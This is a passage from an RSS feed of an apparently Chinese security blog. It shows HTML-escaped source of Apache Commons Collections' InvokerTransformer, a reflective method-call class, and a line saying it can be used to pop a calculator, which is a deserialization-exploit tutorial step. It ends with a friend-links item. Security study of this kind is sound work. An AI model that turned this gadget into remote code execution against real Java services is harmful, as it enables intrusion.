&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		Class cls &lt;span style="color:#f92672"&gt;=&lt;/span&gt; input.&lt;span style="color:#a6e22e"&gt;getClass&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		Method method &lt;span style="color:#f92672"&gt;=&lt;/span&gt; cls.&lt;span style="color:#a6e22e"&gt;getMethod&lt;/span&gt;(iMethodName, iParamTypes);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; method.&lt;span style="color:#a6e22e"&gt;invoke&lt;/span&gt;(input, iArgs);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	} &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; (NoSuchMethodException ex) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; FunctorException(&lt;span style="color:#e6db74"&gt;&amp;#34;InvokerTransformer: The method &amp;#39;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; iMethodName &lt;span style="color:#f92672"&gt;+&lt;/span&gt; 		&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39; on &amp;#39;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; input.&lt;span style="color:#a6e22e"&gt;getClass&lt;/span&gt;() &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39; does not exist&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	} &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; (IllegalAccessException ex) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; FunctorException(&lt;span style="color:#e6db74"&gt;&amp;#34;InvokerTransformer: The method &amp;#39;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; iMethodName &lt;span style="color:#f92672"&gt;+&lt;/span&gt; 		&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39; on &amp;#39;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; input.&lt;span style="color:#a6e22e"&gt;getClass&lt;/span&gt;() &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39; cannot be accessed&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	} &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; (InvocationTargetException ex) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; FunctorException(&lt;span style="color:#e6db74"&gt;&amp;#34;InvokerTransformer: The method &amp;#39;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; iMethodName &lt;span style="color:#f92672"&gt;+&lt;/span&gt; 		&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39; on &amp;#39;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; input.&lt;span style="color:#a6e22e"&gt;getClass&lt;/span&gt;() &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39; threw an exception&amp;#34;&lt;/span&gt;, ex);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们可以利用这个类实现弹计算器。&lt;/p&gt;</description></item><item><title>友链</title><link>https://s0lowalker.github.io/friends/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/friends/</guid><description>&lt;blockquote&gt;
&lt;p&gt;欢迎交换友链，联系我：3220285106@qq.com&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;</description></item></channel></rss>